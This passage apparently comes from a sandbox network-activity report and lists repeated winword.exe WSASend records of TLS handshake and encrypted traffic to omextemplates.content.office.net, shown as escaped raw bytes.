                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xaa#\"\\xab\r\\xfa\\xf5f\\x8d\\x95n\r~\\xf8\\xf4\\xf7#\\xb1t(\\xeb\\xb5\\x04\"\\xa91\\x92\\xd8\\xe7i8\\xfew\\x19,\\xa2\\xf1\\xb1\\x9f\\xb7\\x1c\\xc3\\x8c\\xef*\\x7f\\x8a\\x1eg\\x854g\\xe6\\xbc\\x99\\xf7e\\xab\\xf3\\xd3\\x11\\xd0\\xab.\\x8e\\xd2+\\xf26\\xfbyj\\xb0p\\xba\\xba\\x8b\\xd1\\xba\\x970\\xe3\\xf5\\x10\\x1b\\xb3\\x80!\\xe4j\\xa8_\\xc8\\xf5\\x17y\\x16''\\xc5\\xc3s\\xe6\\xf2c\\xa3\rj\\x06\\x84y\\xd8\\xd0\\xd5\\x86\\xcc\\x16\\x00\\xdfk_b\\x0c\\xb3t<\\xcf\\xbf\\xde\\xed\\x9e\\x9c\\xd7\\\\xf2\\x07\\xbc\\x9e'\\xd91'\\x8a\\xb7\\x93@x\\xd5\\xa9`\\xb2i\\x91\\xa8\\x9a\\x91v,\\x11:\\xf7\\xd2\\xbbe\"\\xe0u\\xf2-*\\x96\\xe2k\\x18\\xe1\\x9c\\xaa\\xb7j\\xe5\\xed7\\xc9\\xa1+\\xb3/\\xea\\x90y\\xf0p\\xeb\\xcb\\xf3\\x12\\x8f(o\\xb8n2\\x0c\\xc7\\xb8\\x86m\\xcft\\xd7\"\\xe4\\xf7\\x81&\\xd9\\xdb\\xfa\\xcd\\xfe7i=g\\x96\\xdf|\\>\\\\x90m\\x13)\\xce\\xf8\\x00\\xbc\\xfd\\xd3n\\xf3\\x16 /\\x8a\\x81"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xce\\xcd\\xa5\\x95t:\\xce\\x9fy\\x88\\x11a\\xd8\\xec\\x8a\\xc7\\x89v\\xc0\\xcas0;?\\xdb\\x964b\\xf0\\x19\\xbb\\xe1\\x99\\xf0$\\x8d\\x9c\\xe9l\\x8d\\xf2:\\xb2k\\x00`y\\xb4\\xa9y#r\\x9e\\xca\\xf9>>a\\x13\\xb4vqh\\xa2\\x1f\\xcd\\xe7\\xcdw\\xf3\\xd3\\x7f\\xa3\\xc9\\xe6`0\\xe6\\x83\\x03:abt\\x13^r\\xc1nt\\x85\\xf9\\xb2rr\\xb3;\\x9f\\x1c\\xed\\#\\xf8\\x93\\x8c-\\x17x\n\\xe3\\x95\\x82\\xcf\\xf0\\xa2\\xb3yo\\xa1\\xe3~\\xd9\\xf8\\xa8\\x8c\\x1c5\\xb5\\xec\\xa3\\xf9;v\\xf1\\x8c\\xf7\\xb5\\xead\\x91\\xbac\\xb3\\xc3\\xc2\\x01gt\t\\xbc\\x10`0w\\xc8\\xd5\\x88k\\xc0$\\xb6rp\\x8795\\xe7\\xbe\\xb4\\xb9\\x03\\x00\\x9c\\xb1\\xbc\\x89\\xab\\x9e\\a?\r,\\xb7\\xecav\\xbf\\xd4\\x87\\xcd\\xa0\\x8e\\xac\\x93\\x1d\\xf8\\xfe\\xb59vn\\xcb\\x15\\xf4\\xbb0\\x07\\x9e\\x89\\xb6#|:\\x13|\\xf9\\xf7~g\\x02\\xb6\\x15\\xc4rl\\xcci\\x983\\xc9\\xcd\\xc25i\\xee\\xf1\\x8e\\x84i\\xc9\\xe0\\xc9\\xb13`\\x98\\xb1\\xc1j"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xad$\\xdb\\xe9\\xb7\\x91\\x1bx\\x9d\\xf8\\x0b\\x9d8\\x84\\x12\\xa9\\xde?b9\\xfd\\xbe\\xc9\\x18\\xce\\x02u\\xb2\\xb3?\\xde\\xe9\\x93/\\x0f\\xdea\\xb1\\x15\\xd3\\xd4\\xcd\\x8c\\x8ao\\x19\\xd3m//l|l\\xb52r\\xf4\\xae\\x90\\x98\\x1eq\\xb7/\\xc0?\\x95\\xa6v\\x7f|t\\x12\\x19\\xc8\\xcc\\x9a\\xcc\\xd1\\x99,l\\x1b\\xdbh\\x87\\xf87ug\\xf1y3\\x14\\xb1@\\xae\\xaea\\xd6\\x8et\\xc3\\xe5!\\xd3f\\x9b\\xbbq\\x92\\xc0\\xf4\\xff\\xb9g\\xf0m\\x83v\\x98\\xfd\\x89\\x90\\xec\\x97a5\\xaca\\x7fq\\xb3-y\\x97l\\xcc\\xed\\xf1\\x85-t\\xa7\\xb6\\xfe\\xd7\\xd2cz\\xc0\\x012\\xba.\\x1e\\x93\\x15rc|0\\xc2\\xee\\xb9\\xab\\xd2m\rf\\xe8#h\\xe8\\xdf\\xc5(yz\\x9f\\x81\\xca\\x86\\xc0\\xdf\\x858\\xca\\xeb\\x04s\\xb0\\xcd\\xd1\\x9d\\x8bo\\xbb\\x85d\\x80\\xf6\\x0c\\xce\\xb7\\xae9\\xbd\\x0b,<(\\xb8\\xae\\x91\\x10\\x03\\x87vhwio\\xdazm\\x8et\\x0b\\xd7$\\xd3\\xc9\\x94!ht\\x186l\\xba\\x13l\\xb0\\xf9\\xf5\\xf7#"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010(\\x8a\\x8e\\xc2d\\xb5wm\\x97\\xd5\\xfe\\x84$3o\\xcbn\\xd6\\x14e\\xac\\xb2k\\x1el\\xc3\\x8f0 zn\\xb8\\x90\\x7f\\xa9 \\x01+\\xb0\\x0b\\xd5\\xd9\\xfc\\xb5\\x822\"~\\xeb\\xea\\xbf\\xe9\\xe0\\xd1\\x9d\\xb7\"\\x8c\\x13\\x8c\\xf1+\\xcb5\\x89\\xaa\\x90\\x90*\\xda\\xa8\\x17i\\x1d\\x1a\\x02\\xad\\x12\\xb7\\xfal\\xf3t\\xfa8\\xcexf\\xbc\\x14\\xf5\\x1ei|\\xfc\\x84\\x0c\\xcc\\xb3/\\xf5ul6,)\\xc1\\x94\\xfa\\xfe\\xf6ka\\xa5\\xa7\\xd3\\xd4\\x8b\\xde.\\x01\\xf5\\x88q\\x9c)\\x85\\xd4\\x87+&\\x7f9\\xd1z\\x82\\x851\\xac\\xd8\\xf8\\x85\\xf7\\xea\\xa2\\xed\\x87\\xe2\\xb3\\xd7\\x0b\\xf9\\xd0c\\xdd\\xfdy\\x16\\x87v\\xde\\xde\\xb8\\xc3\\x02\\xfbw\\x84q\\xb1\\xc1\\xc4\\xa0x7\\xed(\\xb6\\xcd4\\xda\\xa4*\\xe1\\xdf\\x14\\x9dfa\\xc0r\\xf4\\xe6;kg\\xd0\\xeb\\x80\\x1f(\\x90\\xc4vc#v\\x84\\xf0\\x07%\\x82\\xb1q\\xc6\\x16\\x94pl\\xa5\\xfc5p\\x92\\xdc/w5\\xc4\\x13obc\\xece\\x9a\\xdf\\xd3\\xbd\t\\xf8ti\\xf7m"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\x88:\\xfd\\ot.\\xc5>\\x96\\x0c\\x08\\xa4\\xf1\\x82\\xf1\\x15\\xcc\\xf9d\\xa9\\xcb\\xe9cp!;\\xb6\\x1a\\x03g\\xb5^\\x96\\x8d\\xf3x \\x0e,fh \\xaco\\x03ec\\x1fd6\\x00\\xaaz\\x9e\\xbabp\\xee5\\xd4\\x17\\x8be\\x11\\x03\\x9ee\\x0cji\\x08\\xe2\\xa9!u\\xe6\\x94a\\x8d\\x92j\\xf4\\x13\\xcc:\\xaf\\x14\\\\xb4r/\\x06\\x8b<\\xca\\xe0v\\xe2b\\xd8\\xd3l\\x97\\x03\\xdc\\x9e\\xfa-\\x86\\xf3\\x02\\xba\\x9cw\\x9b\\x9a\\xe7\\x04\\x8ff\\xc7qe\\xe1\\xf1,g\\x96:\\x99h\\x83x\\xbb\\xb1\\xa5~\\xf1\\xe2\\xffz^\\xf7\\x1c\\xa4\t\\xc1\\x16v/j\\xcf\\xd3c\\x0b\\x0eb\\xbds\\xf0>>b\\xe8\\x86d\\xe5\\xb4\\xddx\\xe1\\xf0\\xa5r\\xf3\\x89\\x87+\\xf3\\xf0\\xcbz\\xa0\\xbb\\x86\\xa4\\xde\\x9f\\x95s\\xcf\\x02\\xe1\te\\xb5\\xea\\x0c\\xa2\\x1f\\xd3\\x87\\xb5\\xb8\\x84|g4r\\xbe\\xb3\\xc3\\xfd\\xb5\\xc1\\xd7\\x9as\\x80/\\xcca!|>$\\xa29\\x17\\xe5\\xaa\\xc3\\xaf\\x91\\xd8e\\x9ef\\x95p\\xab\\x88\\x1a\\x15"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0es\\xab\"\\x90\\x1e\rkk\\xa2\\xd3\\xd7z\\x9b\\xbd\\xda\\xaf\\xe0\\xfc\\xda\\xe3 hd\\xaa\\xfa\\x87\\x95u\\x0bd\\xbe\\x075wiw\\xa4d;\\x02\\xe3^\\xf9|\\x9f\\xaat\\xce\\x93cm\\xd3\\x19\\xf8\\xa0\\xe3\\xaf\\xe9\\xe0l\\xd48t(|~\\xec\rq\\x83\\xef4\\xa9\\xa9@\\xa2\\xb8@\\xf2iom\\xa4p5\\xee:\\xa7\\x1c\\x10\\xd8(3\\xc20k?\\xe9\\x02$\n\\xa4;r.\\x13cz\\xdc\\x96/gy\\xa6\\xba\\xda\\x0fj\\x9fq9\\xf3h\\x04d9\\xe0\\xff\\xca\\x86ua6p(\\xb3\\xac,\\x15b\\xc7e; j\\xf6g\\xdeu\\xb6\\xc2\\xbfbq\\x88u\\xfd\\x8e\\xe5\\xe65\\xd0\\xb5m6\\xe1`2~\\x83\\xed\\xf7\\x1a\\xcecwyf\\x06p\\xf7\\x98\\xc2l\\xd81\\xdf8\\xb9\\xff\\x04\\x1fn0\r\\xbe\\xe2\\x96\\xe9\\x92h\\xa6\\xb1vv\\xa7\\xa7\\xf6zb\\xb82\\x8c\\xdbh\\xb9\\x8e\\x15\\xb4/\\x85\\xdf\\xb0e\\xbe\\xb0$\\xc6h\\xdb\\xe6\\xdd\\xa6h\\xfb\\xebv\"y\\x96k\\xf5/"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\ng\\x88\\x99\\x95\\xben\\xb3_q\\xee\\xe5\\xf1\\xf9\\xfd\\xc5&\\xba\\x99\"\\xeb>\\x19\\xefzon\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xb2\\x81x\\xb8\\xe9\\xc0\\xa8\\x13\\xdb\\x02\\x85\\xf6\\x06\\xd2\\x80\\x1e:\\x8c\\xd0\\x08\\xa6\\u\\x18\\xc2\\x9c\\xf5\\xc3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x1b7\\xc6#|\\xb6\\xc8\\xca\\xd1\\x93i\\x81\\xd8\\xc7vob\\xba\\x14\\x1c\\xc7t\\xcd\\xe8g\\xfcz\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xaa\\xc6\\xd4\\xf7g\\xedp7\\xb1\\x90!\\x14\\xb3\\xf1\\x11'n\\x10e\\x06.\"\\x98\\xab\\x83t\\xf4\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n6\\xad\\x12r\\xd5\\xa6/q\\x94$\\x92d\\xd7\\x10\\x96^\\x00\\xbe\\xc4\\x19zxpm\\xee\\xc1\\xec\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x86\\x10\\x1e\\x8f\\xa4\\xaaz\\x1f\\x97\\xc2\\x0f\\x90\\xab^\\xb9y\\x18\\x90\\xfch\\xdf\\x88\\xda\\x030\\xd9\\xa5\\x1f\\xbe\\x1b\\x9d2~\\x98\\xa0\\xbd^\\x8f\\x80\\xb2+a\\x8c\\x91\\xa1\\x0e`\\xed\\x90\\x88b\\xac\\xaai\\x8b\\x06\\xf4hgnj\\x86\\x99\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdf\\x8c\\xeb\\x9e#\\xdd\\x8b\\xf6 )\\xcb\\x0fa.\\xef<\\xb86\\x1csb\\xb37\\x9dh\\xb59yp6\\x167\\xf4\\x05\\xd1\\xe2\\xe7&g\\xb6\\xc2\\x01\\xee\\xbd2.~"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x8cm\\xf0\n\\x99\\x8eky\\x96prl\\xdb\\xcf\\x9a3r(\\x03t4\\xf4.\\x1b\\xbeb\\\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\nx\\x8bsq\\x88\r\\xc7\\xe7\\xa1e\\x9el\\xbe\\x99\\xec\\xf6o\\xac\\%~\\x7f\\xca\\xf6\\x15e\\x11+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xd0qd\\x8dw\\xb5\\xe3s\\x940\\xea\\xa5\\xcbm\\xab\\xc1\\xc4\\xa0\\xec\\xfc\\x9e\\xeb\\xd2\\x13x\\xa9\\xdc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045z\\xba\\xbf p\\x8f\\x93\\xc2\\x11\\xfc\\xe8u*\\xea*\\xa8\\x12\\xab\\xde\t\\x85d\\x92/*\\xfb\\xea0\\xd4\\xfb\\xd64\\x1a\\xcb\\xef5^\\xeb\\xf5\\xbe\\xeb\\xf2,\\x01\\xbfv\\xae\\x08\\xc4~6-\\xc2\\x89 \\xc0\\x0b\\xf4\\x1du?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa5\\x92\\x18\\x03\\x9ahu\\x0c\\xc8\\xc6\\x1fr\\x92\\xd6\\xdd\\xbd\\x82\\x8f\\x93\\xd3\\xf9\\xfb\\xf01\\xae\\x9d\\xe9\\xf9\\xd2\\xa5\\xce\\x16\\xab\\x87\\x0cx\\x1a\\x86\\xe4\\x9d\\xf7r\\x9d0\\x0c\\xc7y"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n<q\\xd3\\x96\\x94\\xfc\\x90\\xb79\\x9f\\xd1\\xa8czl\\x04\\x8c\\xceq\\xcf\\xac\\x07t6\\xff\\xc7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x85\\x8b\\x0c\\x8fny\\xd2\\x16\\xfbf\\x91\\x9e!\\x82\\\\xa1x\\xa4$o\\xe6\\x9c4\\xf3\\xc9\\xdf\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xb6\\xbe\\xc9\\x97\\xa4\\xab\\xa8\\xff(f\\x1ald\\xef\\xdb\\xca\\x83\\xb9m\\x02\\xca\\xb4\\x1e\\xdbs\\xee\\xd4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\xf2\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xc7\\xc7\\xc4\\xff\\xb6\\xd1dk\\xac\\xb7\\xcdok\\x83\\xd8\\x87\\xb1oatu\\xc8z_@\\xad\\x0c\\x91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\ns\\xd2\\xfb\\xf6\\xb0?\n\\xeb\\xcb\\x10\\xf0\\xe5`\\xce6\\x12:n\\x11\\xe8\\xd2\\x88/$z7\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xf9\\x10\\xba\\xaa8\\xfe\\xf0\\xf0\\xf0n\\xaej\\x05i\\x9d\\xd6\\x7f\\xf5=\\xba\t\\xe3u\\xf3\\xff-j\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\nf\\xd3m\\xac\\xf2j\\x00o\\x0f\\x9bc,\\xfa%\\x84ll\\xa3\\x89\\\\x17\\x1a\\xd2\\x026\\xdf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\no\\xa8\\xae\\x08r\\xe6\\x14\\xdb~\n\\x85\\xc8\\xe6\\x98\\xea\\xf0\\xcd\\x8e\\xe71\\x95\\x00ok\\xfeh\\xbd\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xfd\\xe4\\x93u\\x9c\\xb2\\xd9\\xfa\\x16\\xdf\\x91\\x86<\\xeb\\xb5\\xa0\\xc5 gc.~ayt\\x98\\x9cx\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04)b5lrg\\xcd\\xa4\\xec\\xb7/\\x9d\\xc8/\\xdf\\xbf\\xb3\\xd5z)\\x8c\\xf2/\\xda\\xa8\\x0fhn\\xc7\\xce\\x83q\\xfd$4\\x13\\x15!\\xcf\\xb6\\\\xc4\\x14\\xb0\\xd2yc\\xf1\\xd4-#\\x83=\\x0b\\xcbq\\xbc&n\\xc3r\\x0c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r7\\xce\\x12\\x9a\\xf5kq\\xd0\\xdd\\xa8\rrd\\x9dd\\x01\\x0f\\xe1v\\x86\\x9e\\xc4:\\xf9\\x12\\x97\\xd3\\x05\\xa1\\x1b\\xff\\xbcaa\\xd9\\xf1\\xa0`\\xe9\\xe7\\xa2\\xe9b_z\\xd4\\xa0"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\\x0b\\xc0\\xa6\\xa5\\xfb$\\x9a\\xb1\\xf5',\\xf3\\x9b\\xcc\\x1e\\x1c\\x7f5\\xeb\\xd6m\\x1b\\xfc\\xa3\\xc6\\x06zu\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04h\\xbbx\\x98\\x01\\xa38\\x01\\xa2kx\\xb57;\\xad5tr\\x84\\xd3\\x9b\\xcc\\xeb\\xf9q#\\x9a\\x1cu\\x83;q7adu\\x17\\x921\\xd0\n\\xe5\\x1a\\xa8\\x14\\xad\\x86i\\xa9s\\x9ca>gk\\xca\\xd9\\xb7\\x93\\x00\"l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9e\\x8fx&\\x08\\xb2\\xddhn!*0'\\x0co\\xc5\\x83\\xb4\\xf6\\x08\\xe6\\x1d\\xf2~\\xdcsq6j\\x80\\xfb\tk\\xae\\x9e\\xe6a+\\xf4\\x17h@a\\xfd\\x94\\xaa\\xf8\\x10"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\xe5n\\x8e=\\x95&\\xb7\\xf6\\xce?zg\\x93\\xe5\\xbc/\\xc6-\\x8d<a\\x98'n\\x15\\x07\\xc4fg\\xfd_\\x91\"\\x97r\\x9b\\xcc|5\\x9c\\x80\\xa4t\\x9c\\xd9\\xd1\\xd3\\x1d\\xd6\\xa1\\xf6-t\\x91\\xea\\x04\\xe0gyr)\\xf5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0c\\x8f\\xa6/\\xad2%\\x11\\xe5\\x18\\xb6\\xd5\\x90x\\xfd\\x87k\\xee/\\xd3\\xa0\\xb0)\\xecb\\x80\\xd9\\xbeo\\xed/|~\\x0c\\x95\\xdf8\\xc1\\xe1l\\xc7\\xc7|\\xb98\\x9d&"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa2%-\\x19`/e\\x00-q-dcv\"\\xc2\\xc4\\x1d\\x07\\x14\r?\\xb2\\x92\\xa1\\x1d\\x86\\x18\\x90\\x1e\\x80\\xf06t\\xc7.q\\xc6\\xc9k)y\\x89\\xbf$ \\x04\\x1aa\\x02\\xff\\xf4*\\xbd\\xa1\\x12\\xf5\\xab\r8\\xec\\xb0=\\xdf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbd@va\\x89\\xa5~\\xd0\\x03n\\xf3.\\xfa\\x0e\\x83\\xcb\\x11\\\\xfe\\x06x\\x04\\xad\\xa8\\xb97\\xc7j\\x08\\x171\\x87\\xc9\\xac\\x1f=\\xef\\xbdj\\m\\xe0\\xc6\\x1f_\\xee\\x04"


